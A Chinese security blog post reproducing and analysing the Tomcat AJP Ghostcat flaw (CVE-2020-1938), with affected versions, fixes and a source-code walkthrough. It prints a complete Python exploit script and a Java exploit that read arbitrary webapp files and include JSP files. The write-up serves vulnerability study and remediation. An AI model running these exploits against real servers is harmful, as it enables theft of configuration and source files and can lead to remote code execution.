首页 » NetworkSec » Penetration » 正文

Tomcat AJP 文件读取/包含漏洞(CVE-2020-1938 )重现及分析

0x00 概述

202002,网上曝出tomcat ajp的文件读取/包含漏洞。

Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

—https://www.chaitin.cn/zh/ghostcat

 

0x01 影响范围

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

0x02 漏洞重现

1】 xray

 

去掉.100的注释,攻击也失败。

 

2】 Python版

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

文件读取

文件包含

//修改源码,加上jsp后缀即可文件包含

#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct
 
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
	if s is None:
		return struct.pack(">h", -1)
	l = len(s)
	return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
	size = struct.calcsize(fmt)
	buf = stream.read(size)
	return struct.unpack(fmt, buf)
def unpack_string(stream):
	size, = unpack(stream, ">h")
	if size == -1: # null string
		return None
	res, = unpack(stream, "%ds" % size)
	stream.read(1) # \0
	return res
class NotFoundException(Exception):
	pass
class AjpBodyRequest(object):
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	MAX_REQUEST_LENGTH = 8186
	def __init__(self, data_stream, data_len, data_direction=None):
		self.data_stream = data_stream
		self.data_len = data_len
		self.data_direction = data_direction
	def serialize(self):
		data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
		if len(data) == 0:
			return struct.pack(">bbH", 0x12, 0x34, 0x00)
		else:
			res = struct.pack(">H", len(data))
			res += data
		if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbH", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbH", 0x41, 0x42, len(res))
		return header + res
	def send_and_receive(self, socket, stream):
		while True:
			data = self.serialize()
			socket.send(data)
			r = AjpResponse.receive(stream)
			while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
				r = AjpResponse.receive(stream)
 
			if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
				break
class AjpForwardRequest(object):
	_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
	REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	COMMON_HEADERS = ["SC_REQ_ACCEPT",
		"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
		"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
		"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
	]
	ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
	def __init__(self, data_direction=None):
		self.prefix_code = 0x02
		self.method = None
		self.protocol = None
		self.req_uri = None
		self.remote_addr = None
		self.remote_host = None
		self.server_name = None
		self.server_port = None
		self.is_ssl = None
		self.num_headers = None
		self.request_headers = None
		self.attributes = None
		self.data_direction = data_direction
	def pack_headers(self):
		self.num_headers = len(self.request_headers)
		res = ""
		res = struct.pack(">h", self.num_headers)
		for h_name in self.request_headers:
			if h_name.startswith("SC_REQ"):
				code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
				res += struct.pack("BB", 0xA0, code)
			else:
				res += pack_string(h_name)
 
			res += pack_string(self.request_headers[h_name])
		return res
 
	def pack_attributes(self):
		res = b""
		for attr in self.attributes:
			a_name = attr['name']
			code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
			res += struct.pack("b", code)
			if a_name == "req_attribute":
				aa_name, a_value = attr['value']
				res += pack_string(aa_name)
				res += pack_string(a_value)
			else:
				res += pack_string(attr['value'])
		res += struct.pack("B", 0xFF)
		return res
	def serialize(self):
		res = ""
		res = struct.pack("bb", self.prefix_code, self.method)
		res += pack_string(self.protocol)
		res += pack_string(self.req_uri)
		res += pack_string(self.remote_addr)
		res += pack_string(self.remote_host)
		res += pack_string(self.server_name)
		res += struct.pack(">h", self.server_port)
		res += struct.pack("?", self.is_ssl)
		res += self.pack_headers()
		res += self.pack_attributes()
		if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbh", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbh", 0x41, 0x42, len(res))
		return header + res
	def parse(self, raw_packet):
		stream = StringIO(raw_packet)
		self.magic1, self.magic2, data_len = unpack(stream, "bbH")
		self.prefix_code, self.method = unpack(stream, "bb")
		self.protocol = unpack_string(stream)
		self.req_uri = unpack_string(stream)
		self.remote_addr = unpack_string(stream)
		self.remote_host = unpack_string(stream)
		self.server_name = unpack_string(stream)
		self.server_port = unpack(stream, ">h")
		self.is_ssl = unpack(stream, "?")
		self.num_headers, = unpack(stream, ">H")
		self.request_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code > 0xA000:
				h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
			else:
				h_name = unpack(stream, "%ds" % code)
				stream.read(1) # \0
			h_value = unpack_string(stream)
			self.request_headers[h_name] = h_value
	def send_and_receive(self, socket, stream, save_cookies=False):
		res = []
		i = socket.sendall(self.serialize())
		if self.method == AjpForwardRequest.POST:
			return res
 
		r = AjpResponse.receive(stream)
		assert r.prefix_code == AjpResponse.SEND_HEADERS
		res.append(r)
		if save_cookies and 'Set-Cookie' in r.response_headers:
			self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
 
		# read body chunks and end response packets
		while True:
			r = AjpResponse.receive(stream)
			res.append(r)
			if r.prefix_code == AjpResponse.END_RESPONSE:
				break
			elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
				continue
			else:
				raise NotImplementedError
				break
 
		return res
 
class AjpResponse(object):
	_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
	COMMON_SEND_HEADERS = [
			"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
			"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
			]
	def parse(self, stream):
		# read headers
		self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
 
		if self.prefix_code == AjpResponse.SEND_HEADERS:
			self.parse_send_headers(stream)
		elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
			self.parse_send_body_chunk(stream)
		elif self.prefix_code == AjpResponse.END_RESPONSE:
			self.parse_end_response(stream)
		elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
			self.parse_get_body_chunk(stream)
		else:
			raise NotImplementedError
 
	def parse_send_headers(self, stream):
		self.http_status_code, = unpack(stream, ">H")
		self.http_status_msg = unpack_string(stream)
		self.num_headers, = unpack(stream, ">H")
		self.response_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code <= 0xA000: # custom header
				h_name, = unpack(stream, "%ds" % code)
				stream.read(1) # \0
				h_value = unpack_string(stream)
			else:
				h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
				h_value = unpack_string(stream)
			self.response_headers[h_name] = h_value
 
	def parse_send_body_chunk(self, stream):
		self.data_length, = unpack(stream, ">H")
		self.data = stream.read(self.data_length+1)
 
	def parse_end_response(self, stream):
		self.reuse, = unpack(stream, "b")
 
	def parse_get_body_chunk(self, stream):
		rlen, = unpack(stream, ">H")
		return rlen
 
	@staticmethod
	def receive(stream):
		r = AjpResponse()
		r.parse(stream)
		return r
 
import socket
 
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
	fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
	fr.method = method
	fr.protocol = "HTTP/1.1"
	fr.req_uri = req_uri
	fr.remote_addr = target_host
	fr.remote_host = None
	fr.server_name = target_host
	fr.server_port = 80
	fr.request_headers = {
		'SC_REQ_ACCEPT': 'text/html',
		'SC_REQ_CONNECTION': 'keep-alive',
		'SC_REQ_CONTENT_LENGTH': '0',
		'SC_REQ_HOST': target_host,
		'SC_REQ_USER_AGENT': 'Mozilla',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'en-US,en;q=0.5',
		'Upgrade-Insecure-Requests': '1',
		'Cache-Control': 'max-age=0'
	}
	fr.is_ssl = False
	fr.attributes = []
	return fr
 
class Tomcat(object):
	def __init__(self, target_host, target_port):
		self.target_host = target_host
		self.target_port = target_port
 
		self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		self.socket.connect((target_host, target_port))
		self.stream = self.socket.makefile("rb", bufsize=0)
 
	def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
		self.req_uri = req_uri
		self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
		print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
		if user is not None and password is not None:
			self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
		for h in headers:
			self.forward_request.request_headers[h] = headers[h]
		for a in attributes:
			self.forward_request.attributes.append(a)
		responses = self.forward_request.send_and_receive(self.socket, self.stream)
		if len(responses) == 0:
			return None, None
		snd_hdrs_res = responses[0]
		data_res = responses[1:-1]
		if len(data_res) == 0:
			print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
		return snd_hdrs_res, data_res
 
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
 
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
 
parser.add_argument('-i', dest='fileInclude', action='store_true', help='file include')
 
args = parser.parse_args()
t = Tomcat(args.target, args.port)
 
 
if args.fileInclude:
	_,data = t.perform_request('/asdf.jsp',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
	print('----------------------------')
	print("".join([d.data for d in data]))
else:
	_,data = t.perform_request('/asdf',attributes=[
    	{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    	{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    	{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    	])
	print('----------------------------')
	print("".join([d.data for d in data]))

攻击.100失败

 

3】java版

https://github.com/0nise/CVE-2020-1938

package com.threedr3am.bug.tomcat.ajp;
 
import com.threedr3am.bug.tomcat.ajp.support.SimpleAjpClient;
import com.threedr3am.bug.tomcat.ajp.support.TesterAjpMessage;
import java.io.IOException;
 
/**
 * CVE-2020-1938
 *
 *
 * 该文件包含漏洞影响以下版本:
 *
 * 7.*分支7.0.100之前版本,建议更新到7.0.100版本;
 *
 * 8.*分支8.5.51之前版本,建议更新到8.5.51版本;
 *
 * 9.*分支9.0.31之前版本,建议更新到9.0.31版本
 *
 *
 *
 *
 * arg[0]:tomcat的ip
 * arg[1]:tomcat的port
 * arg[2]:file或jsp,file:读取web资源根目录的文件),jsp:渲染web资源根目录的jsp文件)
 * arg[3]:/index.jsp(资源路径,根号表示web资源根目录)
 *
 * @author threedr3am
 */
public class FileRead {
 
  public static void main(String[] args) throws IOException {
    // open connection
    SimpleAjpClient ac = new SimpleAjpClient();
    String host = "localhost";
    int port = 8009;
    String uri = "/xxxxxxxxxxxxxxxest.xxx";
    //todo jsp文件渲染,若可以上传jsp文件,即可RCE
//    String uri = "/xxxxxxxxxxxxxxxest.jsp";
    String file = "/index.jsp";
    if (args.length == 4) {
      host = args[0];
      port = Integer.parseInt(args[1]);
      uri = args[2].equalsIgnoreCase("file") ? uri : "/xxxxxxxxxxxxxxxest.jsp";
      file = args[3];
    }
    ac.connect(host, port);
 
    // create a message that indicates the beginning of the request
    TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);
    forwardMessage.addAttribute("javax.servlet.include.request_uri", "1");
    forwardMessage.addAttribute("javax.servlet.include.path_info", file);
    forwardMessage.addAttribute("javax.servlet.include.servlet_path", "");
 
    forwardMessage.end();
 
    ac.sendMessage(forwardMessage);
    while (true) {
      byte[] responseBody = ac.readMessage();
      if (responseBody == null || responseBody.length == 0)
        break;
      System.out.print(new String(responseBody));
    }
    ac.disconnect();
  }
}

文件读取

固定了只能读取index.jsp,读取别的文件就改代码吧,文件包含同样。

利用learnjavabug-79c42afceadd72fdfa85073ea204e0df7d5baf2d

显示无法加载主类,自行编译同样……

 

0x03 修复方案

1、临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port=”8009″ protocol=”AJP/1.3″redirectPort=”8443″ />

2、AJP Connector 配置secretRequired或secret属性来限制认证,如

(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):
<Connector port=”8009″ protocol=”AJP/1.3″ redirectPort=”8443″ address=”YOUR_TOMCAT_IP_ADDRESS” secret=”YOUR_TOMCAT_AJP_SECRET” />

而对于无法进行版本更新、或者是更老版本的用户,则建议为 AJP Connector 配置 requiredSecret 来设置 AJP 协议认证凭证。例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):
<Connector port=”8009″ protocol=”AJP/1.3″ redirectPort=”8443″ address=”YOUR_TOMCAT_IP_ADDRESS” requiredSecret=”YOUR_TOMCAT_AJP_SECRET” />

3、官方下载最新版下载地址:

https://tomcat.apache.org/download-70.cgi

https://tomcat.apache.org/download-80.cgi

https://tomcat.apache.org/download-90.cgi

或Github下载:https://github.com/apache/tomcat/releases

 

0x04 漏洞分析

先了解下tomcat的ajp协议,总结如下:

//参考 https://www.cnblogs.com/softidea/p/5735102.html

AJP协议是定向包(面向包)协议,采用二进制形式代替文本形式,以提高性能

包方向 0 1 2 3 4…(n+3)

Server->Container 0x12 0x34 数据长度(n) 数据(payload)

Container->Server A B 数据长度(n) 数据(payload)

从apache发向tomcat包都带有0x1234头,而从tomcat发向apache的包都带有AB(ascii码)头

请求头名称分化为两类,一类请求头被转换为0xA0xx格式(如下表所示),其他请求头仍然用原字符串编码

response_headers: 和请求头一样,一类响应头被转换为0xA0xx格式(如下表所示),其他响应头名称采用原字符串编码

相关字段按需求查询构造即可

Forward Request包数据部分(payload)结构:

AJP13_FORWARD_REQUEST :=

prefix_code      (byte) 0x02 = JK_AJP13_FORWARD_REQUEST

method           (byte)

protocol         (string)

req_uri          (string)

remote_addr      (string)

remote_host      (string)

server_name      (string)

server_port      (integer)

is_ssl           (boolean)

num_headers      (integer)

request_headers *(req_header_name req_header_value)

attributes      *(attribut_name attribute_value)

request_terminator (byte) OxFF

 

//图片来源于网络

Tomcat的server.xml配置有两种连接器

default servlet用来处理所有未被匹配到其他servlet的uri请求,jsp servlet用来处理以.jsp、.jspxz做后缀名的uri请求,都随tomcat一起启动。

AJP协议建立在TCP socket通信之上,tomcat使用该协议和前级的Web Server传递信息,这次的漏洞就出在客户端可以利用ajp协议数据包控制request对象的一些字段。

7.0.99源码分析

文件读取利用链(defaultservlet)

java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 file /index.jsp

/asfd走defaultservlet

或者xx.xx也行,处理不了默认走defaultservlet

public SocketState process(SocketWrapper<Socket> socket)

GET方法的原因:

EXP中呼应

https://github.com/threedr3am/learnjavabug/blob/master/tomcat/ajp-bug/src/main/java/com/threedr3am/bug/tomcat/ajp/support/SimpleAjpClient.java

https://github.com/threedr3am/learnjavabug/blob/master/tomcat/ajp-bug/src/main/java/com/threedr3am/bug/tomcat/ajp/FileRead.java

TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);

继续跟

循环赋值n=v

可以发现在处理 Constants.SC_A_REQ_ATTRIBUTE 这部分内容时,代码中未进行内容校验,盲目的将请求的内容进行复制

进行能够控制任意 request.setAttribute 的key和value,通过控制request对象中这三个属性的值实现文件读取

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

根据exp,

pathInfo = /index.jsp(/WEB-INF/web.xml)

servletPath = “”(或者”/”)

Include_request_uri = 1(或者“/”)

apache-tomcat-7.0.99-src/java/javax/servlet/RequestDispatcher.java

回到serveResource()

CacheEntry cacheEntry = resources.lookupCache(path);

这里面的流程先是在缓存里面找,找不到了,然后在本地找,最终来到 org.apache.naming.resources.FileDirContext 的file方法,然后new一个File类对象。

处理../的路径,不能跨目录

后续就是处理响应输出,客户端再按照AJP协议解析数据包就能得到文件内容。

文件包含利用链(jspservlet

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f /index.jsp 192.168.43.237 -i

/asdf.jsp,后缀jsp就走jspservlet

//动态调试的时候发现没走这个if

wrapper.service(request, response, precompile);

最后调用JspServletWrapper的service方法来解析

官方的修复:

关键点

ajp-http(get)的转换

attributecode = 10/-1

nv循环put赋值

defaultservlet/jspservlet的选择

路径过滤

 

0x05 参考资料

https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ

https://www.chaitin.cn/zh/ghostcat

https://www.cnblogs.com/r00tuser/p/12343153.html

www.dzjqx.cn/news/show-15960.html

https://www.cnblogs.com/softidea/p/5735102.html

https://www.freebuf.com/vuls/228108.html

https://www.freebuf.com/vuls/228111.html

https://xz.aliyun.com/t/7325

Comment

please input captcha *